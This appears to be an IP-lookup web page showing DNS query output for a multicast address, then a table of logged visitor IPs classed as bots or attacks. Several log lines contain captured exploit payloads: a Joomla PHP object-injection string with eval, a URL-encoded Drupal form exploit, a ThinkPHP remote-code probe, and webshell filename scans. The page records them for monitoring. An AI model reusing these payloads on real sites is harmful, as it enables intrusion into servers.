City: unknown
Region: unknown
Country: Multicast Address
Internet Service Provider: unknown
Hostname: unknown
Organization: unknown
Usage Type: unknown
b; <<>> DiG 9.10.3-P4-Ubuntu <<>> 233.255.67.239
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NXDOMAIN, id: 49471
;; flags: qr rd ra; QUERY: 1, ANSWER: 0, AUTHORITY: 1, ADDITIONAL: 0
;; QUESTION SECTION:
;233.255.67.239. IN A
;; AUTHORITY SECTION:
. 30 IN SOA a.root-servers.net. nstld.verisign-grs.com. 2025031200 1800 900 604800 86400
;; Query time: 10 msec
;; SERVER: 183.60.83.19#53(183.60.83.19)
;; WHEN: Thu Mar 13 00:19:15 CST 2025
;; MSG SIZE rcvd: 107Host 239.67.255.233.in-addr.arpa. not found: 3(NXDOMAIN)Server: 183.60.83.19
Address: 183.60.83.19#53
** server can't find 239.67.255.233.in-addr.arpa: NXDOMAIN| IP | Type | Details | Datetime |
|---|---|---|---|
| 218.161.75.200 | attack | 218.161.75.200 - - [05/May/2019:12:03:42 +0800] "POST /%75%73%65%72/%72%65%67%69%73%74%65%72?%65%6c%65%6d%65%6e%74%5f%70%61%72%65%6e%74%73=%74%69%6d%65%7a%6f%6e%65%2f%74%69%6d%65%7a%6f%6e%65%2f%23%76%61%6c%75%65&%61%6a%61%78%5f%66%6f%72%6d=1&%5f%77%72%61%70%70%65%72%5f%66%6f%72%6d%61%74=%64%72%75%70%61%6c%5f%61%6http://118.25.52.138/ HTTP/1.1" 301 194 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:47.0) Gecko/20100101 Firefox/47.0"
218.161.75.200 - - [05/May/2019:12:03:42 +0800] "GET / HTTP/1.1" 301 194 "-" "}__test|O:21:\\x22JDatabaseDriverMysqli\\x22:3:{s:2:\\x22fc\\x22;O:17:\\x22JSimplepieFactory\\x22:0:{}s:21:\\x22\\x5C0\\x5C0\\x5C0disconnectHandlers\\x22;a:1:{i:0;a:2:{i:0;O:9:\\x22SimplePie\\x22:5:{s:8:\\x22sanitize\\x22;O:20:\\x22JDatabaseDriverMysql\\x22:0:{}s:8:\\x22feed_url\\x22;s:277:\\x22eval(chr(100).chr(105).chr(101).chr(40).chr(109).chr(100).chr(53).chr(40).chr(68).chr(73).chr(82).chr(69).chr(67).chr(84).chr(79).chr(82).chr(89).chr(95).chr(83).chr(69).chr(80).chr(65).chr(82).chr(65).chr(84).chr(79).chr(82).chr(41).chr(41).chr(59));JFactory::getConfig();exit\\x22;s:19:\\x22cache_name_function\\x22;s:6:\\x22assert\\x22;s:5:\\x22cache\\x22;b:1;s:11:\\x22cache_class\\x22;O:20:\\x22JDatabaseDriverMysql\\x22:0:{}}i:1;s:4:\\x22init\\x22;}}s:13:\\x22\\x5C0\\x5C0\\x5C0connection\\x22;b:1;}\\xF0\\xFD\\xFD\\xFD" |
2019-05-05 12:04:53 |
| 35.202.223.242 | bots | ltx71爬虫，可以禁掉 35.202.223.242 - - [27/Apr/2019:06:45:25 +0800] "GET /robots.txt HTTP/1.1" 200 472 "-" "ltx71 - (http://ltx71.com/)" |
2019-04-27 06:47:27 |
| 114.35.105.141 | botsattack | 爬虫攻击phpadmin、pma、sql等 |
2019-05-05 11:08:25 |
| 69.30.243.244 | bots | alexa爬虫 69.30.243.244 - - [05/May/2019:11:03:58 +0800] "GET /check-ip/175.58.85.46 HTTP/1.1" 200 10660 "https://ipinfo.asytech.cn" "ia_archiver (+http://www.alexa.com/site/help/webmasters; crawler@alexa.com)" |
2019-05-05 11:04:51 |
| 107.178.194.205 | bots | 107.178.194.205 - - [25/Apr/2019:22:38:55 +0800] "GET /check-ip/71.11.160.200 HTTP/1.1" 200 9160 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3325.181 Safari/537.36 AppEngine-Google; (+http://code.google.com/appengine; appid: s~feedly-nikon3)" 107.178.194.205 - - [25/Apr/2019:22:38:56 +0800] "GET /check-ip/71.11.160.200 HTTP/1.1" 200 8974 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3325.181 Safari/537.36 AppEngine-Google; (+http://code.google.com/appengine; appid: s~feedly-nikon3)" 107.178.194.205 - - [25/Apr/2019:22:38:57 +0800] "GET /check-ip/71.11.160.200 HTTP/1.1" 200 8657 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3325.181 Safari/537.36 AppEngine-Google; (+http://code.google.com/appengine; appid: s~feedly-nikon3)" |
2019-04-25 22:40:59 |
| 24.201.166.21 | bots | 24.201.166.21 - - [07/May/2019:07:15:41 +0800] "GET /check-ip/173.177.76.171 HTTP/1.1" 200 10814 "-" "Mozilla/5.0 (X11; NetBSD amd64; rv:16.0) Gecko/20121102 Firefox/16.0" 24.201.166.21 - - [07/May/2019:07:15:48 +0800] "GET /check-ip/173.177.76.171 HTTP/1.1" 200 10171 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2b5) Gecko/20091204 Firefox/3.6b5" 24.201.166.21 - - [07/May/2019:07:15:55 +0800] "GET /check-ip/173.177.76.171 HTTP/1.1" 200 10537 "-" "Mozilla/5.0 (Macintosh; U; Intel Mac OS X; de-AT; rv:1.9.1.8) Gecko/20100625 Firefox/3.6.6" |
2019-05-07 07:17:00 |
| 139.59.23.231 | botsattack | 139.59.23.231 - - [24/Apr/2019:19:27:23 +0800] "GET /w00tw00t.at.blackhats.romanian.anti-sec:) HTTP/1.1" 301 194 "-" "ZmEu" 139.59.23.231 - - [24/Apr/2019:19:27:23 +0800] "GET HTTP/1.1" 400 182 "-" "-" 139.59.23.231 - - [24/Apr/2019:19:27:23 +0800] "GET HTTP/1.1" 400 182 "-" "-" |
2019-04-24 19:28:05 |
| 66.102.7.131 | bots | Google-Ads-Overview广告预览 66.102.7.131 - - [05/May/2019:18:36:40 +0800] "GET /cloud/index.php/apps/registration/ HTTP/1.1" 200 7409 "http://www.ads.google.com/" "Google-Ads-Overview Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.118 Safari/537.36" "-" 66.102.7.131 - - [05/May/2019:18:43:01 +0800] "GET /cloud/index.php/apps/registration/ HTTP/1.1" 200 7400 "http://www.ads.google.com/" "Google-Ads-Overview Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.118 Safari/537.36" "-" 66.102.7.131 - - [05/May/2019:18:44:00 +0800] "GET /cloud/index.php/apps/registration/ HTTP/1.1" 200 7392 "http://www.ads.google.com/" "Google-Ads-Overview Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.118 Safari/537.36" "-" |
2019-05-05 18:52:40 |
| 38.143.68.212 | attack | H |
2019-05-04 08:45:22 |
| 128.201.175.22 | attack | 128.201.175.22 - - [03/May/2019:09:54:23 +0800] "GET /index.php/using-joomla/extensions/components/users-component/registration-form HTTP/1.1" 301 194 "-" "Mozilla/3.0 (compatible; Indy Library)" |
2019-05-03 09:54:58 |
| 212.64.58.150 | botsattack | 212.64.58.150 - - [06/May/2019:16:23:01 +0800] "POST /luoke.php HTTP/1.1" 301 194 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)" 212.64.58.150 - - [06/May/2019:16:23:01 +0800] "POST /nidage.php HTTP/1.1" 301 194 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)" 212.64.58.150 - - [06/May/2019:16:23:01 +0800] "POST /sanan.php HTTP/1.1" 301 194 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)" 212.64.58.150 - - [06/May/2019:16:23:01 +0800] "POST /sbkcb.php HTTP/1.1" 301 194 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)" 212.64.58.150 - - [06/May/2019:16:23:05 +0800] "POST /cnm.php HTTP/1.1" 301 194 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)" 212.64.58.150 - - [06/May/2019:16:23:05 +0800] "POST /tests.php HTTP/1.1" 301 194 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)" 212.64.58.150 - - [06/May/2019:16:23:05 +0800] "POST /luoran.php HTTP/1.1" 301 194 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)" 212.64.58.150 - - [06/May/2019:16:23:05 +0800] "POST /luoran6.php HTTP/1.1" 301 194 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)" 212.64.58.150 - - [06/May/2019:16:23:05 +0800] "POST /asen.php HTTP/1.1" 301 194 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)" 212.64.58.150 - - [06/May/2019:16:23:05 +0800] "POST /MCLi.php HTTP/1.1" 301 194 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)" 212.64.58.150 - - [06/May/2019:16:23:05 +0800] "POST /MCLi.php HTTP/1.1" 301 194 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)" 212.64.58.150 - - [06/May/2019:16:23:05 +0800] "POST /coon.php HTTP/1.1" 301 194 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)" |
2019-05-06 16:23:50 |
| 31.193.131.164 | botsattack | 31.193.131.164 - - [04/May/2019:08:58:36 +0800] "GET /wp-json/wp/v2/users HTTP/1.1" 301 194 "-" "python-requests/2.21.0" 31.193.131.164 - - [04/May/2019:08:58:42 +0800] "GET /wp-json/wp/v2/users HTTP/1.1" 404 209 "-" "python-requests/2.21.0" |
2019-05-04 08:59:08 |
| 212.64.58.150 | botsattack | 212.64.58.150 - - [06/May/2019:16:15:10 +0800] "GET /index.php?s=%2f%69%6e%64%65%78%2f%5c%74%68%69%6e%6b%5c%61%70%70%2f%69%6e%76%6f%6b%65%66%75%6e%63%74%69%6f%6e&function=%63%61%6c%6c%5f%75%73%65%72%5f%66%75%6e%63%5f%61%72%72%61%79&vars[0]=%6d%645&vars[1][]=%48%65%6c%6c%6f%54%68%69%6e%6b%50%\\x80\\x96\\x98 HTTP/1.1" 301 194 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:57.0) Gecko/20100101 Firefox/57.0" 212.64.58.150 - - [06/May/2019:16:15:13 +0800] "GET /lang.php?f=1 HTTP/1.1" 301 194 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:57.0) Gecko/20100101 Firefox/57.0" |
2019-05-06 16:18:16 |
| 43.241.215.172 | botsattack | 43.241.215.172 - - [05/May/2019:16:49:00 +0800] "GET /otsmobile/app/mgs/mgw.htm?operationType=com.cars.otsmobile.queryLeftTicket&requestData=%5B%7B%22train_date%22%3A%2220190520%22%2C%22purpose_codes%22%3A%2200%22%2C%22from_station%22%3A%22BJP%22%2C%22to_station%22%3A%22WHN%22%2C%22station_train_code%22%3A%22Z35%22%2C%22start_time_begin%22%3A%220000%22%2C%22start_time_end%22%3A%222400%22%2C%22train_headers%22%3A%22QB%23%22%2C%22train_flag%22%3A%22%22%2C%22seat_type%22%3A%220%22%2C%22seatBack_Type%22%3A%22%22%2C%22ticket_num%22%3A%22%22%2C%22dfpStr%22%3A%22%22%2C%22secret_str%22%3A%22%E5%90%8E%E5%8F%B0%E5%BC%80%E5%85%B3%E8%8E%B7%E5%8F%96%E5%A4%B1%E8%B4%A5%EF%BC%8C%E6%88%96%E9%85%8D%E7%BD%AE%E5%BC%80%E5%85%B3%E4%B8%BAfalse.null%22%2C%22baseDTO%22%3A%7B%22check_code%22%3A%22597cd02b91ba2b4b481dfe54f24ae30d%22%2C%22device_no%22%3A%22XM6jfCnBCbQDAMXCxZeB4eo1%22%2C%22mobile_no%22%3A%22%22%2C%22os_type%22%3A%22a%22%2C%22time_str%22%3A%2220190505164900%22%2C%22user_name%22%3A%22%22%2C%22version_no%22%3A%223.0.0.12121430%22%7D%7D%5D&ts=1557046140303&sign= HTTP/1.1" 404 209 "-" "Apache-HttpClient/4.5.6 (Java/1.8.0_211)" |
2019-05-05 16:50:15 |
| 178.62.237.197 | spambotsattack | UDP port:51331 ddos attack |
2019-05-05 21:59:12 |